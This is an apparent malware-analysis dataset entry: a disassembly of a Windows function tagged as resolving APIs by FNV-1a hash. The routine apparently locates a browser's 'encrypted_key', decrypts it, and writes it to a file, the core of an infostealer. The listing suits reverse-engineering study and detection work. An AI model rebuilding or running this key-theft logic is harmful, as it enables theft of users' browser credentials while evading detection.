Function at 0x408070
Capabilities:
Resolve function by fnv-1a hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x44d008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
sub esp, 0x18
mov ecx, esp
push 0x44e9a0
call fcn.0040b2e0
lea eax, [ebp - 0xa4]
push eax
call fcn.0041b680
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.0041fe60
cmp dword [eax + 0x14], 8
jb 0x4080b3
mov eax, dword [eax]
push eax
call fcn.004206f0
mov ecx, dword [ebp - 0x6c]
mov esi, eax
cmp ecx, 8
jb 0x4080f5
mov edx, dword [ebp - 0x80]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4080eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087d9
push ecx
push edx
call fcn.00420d4c
add esp, 8
mov ecx, dword [ebp - 0x90]
xor eax, eax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 7
mov word [ebp - 0x80], ax
cmp ecx, 0x10
jb 0x408143
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408139
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087d9
push ecx
push edx
call fcn.00420d4c
add esp, 8
push 0x53b2070f
push esi
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
call fcn.004205c0
sub esp, 0x18
mov edi, eax
mov ecx, esp
push 0x44eb6c
call fcn.0040b2e0
lea eax, [ebp - 0x34]
push eax
call fcn.0041b680
cmp dword [eax + 0x14], 0x10
jb 0x40818b
mov eax, dword [eax]
push eax
call edi
mov ecx, dword [ebp - 0x20]
mov edi, eax
cmp ecx, 0x10
jb 0x4081c4
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4081ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087de
push ecx
push edx
call fcn.00420d4c
add esp, 8
push 0x6c40a739
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.004205c0
push 0xf5e65807
push edi
mov dword [ebp - 0x64], eax
call fcn.004205c0
push 0xbdcac9ce
push esi
mov dword [ebp - 0x5c], eax
call fcn.004205c0
push 0x15b2461a
push esi
mov dword [ebp - 0x84], eax
call fcn.004205c0
push 0x3d05404b
push esi
mov edi, eax
call fcn.004205c0
push 0xccbe6786
push esi
mov ebx, eax
call fcn.004205c0
push 0xfaba0065
push esi
mov dword [ebp - 0x50], eax
call fcn.004205c0
push 0x7f07c44a
push esi
mov dword [ebp - 0x54], eax
call fcn.004205c0
sub esp, 0x18
mov dword [ebp - 0x88], eax
mov ecx, esp
xorps xmm0, xmm0
push 0x10
movups xmmword [ecx], xmm0
push str.bX5cVw8FVzYSYUVX
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.0040b990
lea eax, [ebp - 0xa4]
push eax
call fcn.0041b680
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
push dword [ebp + 0x30]
cmovae ecx, dword [ebp + 0x20]
push ecx
push ecx
mov ecx, eax
call fcn.0040b100
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x34], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x90]
movq qword [ebp - 0x24], xmm0
cmp ecx, 0x10
jb 0x4082ee
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4082e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087e3
push ecx
push edx
call fcn.00420d4c
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.0040b2e0
call fcn.0040cd10
mov esi, eax
cmp esi, 0xffffffff
jne 0x408312
mov esi, 5
jmp 0x408408
push 0
push 0
push 0
push 2
push 0
push esi
call edi
mov edi, eax
test edi, edi
jne 0x408331
push esi
call dword [ebp - 0x54]
lea esi, [edi + 6]
jmp 0x408408
push 0
push 0
push 0
push 4
push edi
call ebx
mov ebx, eax
push edi
test ebx, ebx
jne 0x408355
mov ebx, dword [ebp - 0x54]
call ebx
push esi
call ebx
mov esi, 7
jmp 0x408408
mov edi, dword [ebp - 0x54]
call edi
push esi
call edi
push 0x400
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x68], eax
test eax, eax
jne 0x408386
push ebx
call dword [ebp - 0x50]
mov esi, 0xb
jmp 0x408408
mov ecx, ebx
mov dword [ebp - 0x58], eax
xor edx, edx
mov dword [ebp - 0x60], edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408393
sub ecx, esi
je 0x4083ed
mov edi, ebx
cmp byte [edi], 0x65
jne 0x4083d3
xor edx, edx
xor esi, esi
nop dword [eax]
mov al, byte [edx + str.encrypted_key]
lea ecx, [esi + 1]
cmp byte [edx + edi], al
cmovne ecx, esi
inc edx
mov esi, ecx
cmp edx, 0xd
jb 0x4083b0
cmp esi, 0xd
je 0x4084ff
mov edx, dword [ebp - 0x60]
mov ecx, ebx
inc edx
mov dword [ebp - 0x60], edx
inc edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4083e0
sub ecx, esi
cmp edx, ecx
jb 0x4083a0
push ebx
call dword [ebp - 0x50]
push dword [ebp - 0x68]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, 1
mov ecx, dword [ebp - 0x20]
cmp ecx, 0x10
jb 0x40843c
mov edx, dword [ebp - 0x34]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408432
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087e8
push ecx
push edx
call fcn.00420d4c
add esp, 8
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x408470
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408466
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087e8
push ecx
push edx
call fcn.00420d4c
add esp, 8
mov ecx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp ecx, 0x10
jb 0x4084b6
mov edx, dword [ebp + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4084ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087e8
push ecx
push edx
call fcn.00420d4c
add esp, 8
mov ecx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
cmp ecx, 0x10
jb 0x4087c4
mov edx, dword [ebp + 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4087ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087e8
jmp 0x4087ba
test edi, edi
je 0x4083ed
push str.encrypted_key
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 3
add eax, edi
mov cl, byte [eax]
cmp cl, 0x22
je 0x408530
mov edx, dword [ebp - 0x58]
mov byte [edx], cl
lea eax, [eax + 1]
mov cl, byte [eax]
lea edx, [edx + 1]
cmp cl, 0x22
jne 0x408521
mov esi, dword [ebp - 0x68]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x58], eax
push ecx
push 0
push 1
push eax
push esi
call dword [ebp - 0x64]
test eax, eax
jne 0x408571
push ebx
call dword [ebp - 0x50]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, 8
jmp 0x408408
mov eax, dword [ebp - 0x3c]
inc eax
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 8
call eax
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x4085a7
push ebx
call dword [ebp - 0x50]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea esi, [edi + 0xb]
jmp 0x408408
push 0
push 0
lea eax, [ebp - 0x3c]
push eax
push edi
push 1
push dword [ebp - 0x58]
push esi
call dword [ebp - 0x64]
test eax, eax
jne 0x4085e7
push ebx
call dword [ebp - 0x50]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push edi
push 0
call ebx
push eax
call esi
mov esi, 9
jmp 0x408408
mov eax, dword [ebp - 0x3c]
xorps xmm0, xmm0
sub eax, 5
movlpd qword [ebp - 0x44], xmm0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], eax
lea eax, [edi + 5]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call dword [ebp - 0x5c]
test eax, eax
jne 0x408644
push ebx
call dword [ebp - 0x50]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push edi
push 0
call ebx
push eax
call esi
mov esi, 0xa
jmp 0x408408
mov ecx, dword [ebp + 0x18]
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 4
jb 0x4087ed
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 4
cmovae eax, dword [ebp + 8]
push str.key
push ecx
push eax
push ecx
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x80]
call fcn.0040bde0
cmp dword [ebp + 0x4c], 0x10
lea ecx, [ebp + 0x38]
mov esi, dword [ebp - 0x6c]
mov eax, esi
cmovae ecx, dword [ebp + 0x38]
mov edi, dword [ebp + 0x48]
mov edx, dword [ebp - 0x70]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4086bd
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
lea esi, [eax + edx]
push esi
call fcn.00422ce0
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x80]
jmp 0x4086cd
mov byte [ebp - 0x5c], 0
lea ecx, [ebp - 0x80]
push dword [ebp - 0x5c]
push edi
call fcn.0040baa0
mov dword [ebp - 0xc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 8], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x408738
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40872e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087f2
push ecx
push edx
call fcn.00420d4c
add esp, 8
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0
cmovae eax, dword [ebp - 0x1c]
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [ebp - 0x84]
push 0
mov esi, eax
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 0x44]
push dword [ebp - 0x40]
push esi
call dword [ebp - 0x88]
push esi
call dword [ebp - 0x54]
mov ecx, dword [ebp - 8]
xor esi, esi
cmp ecx, 0x10
jb 0x4087a7
mov edx, dword [ebp - 0x1c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40879d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4087e8
push ecx
push edx
call fcn.00420d4c
add esp, 8
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
jmp 0x408408
push ecx
push edx
call fcn.00420d4c
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004208c0
mov esp, ebp
pop ebp
ret 0x48
call fcn.00427422
call fcn.00427422
call fcn.00427422
call fcn.00427422
call fcn.00407380
call fcn.00427422
int3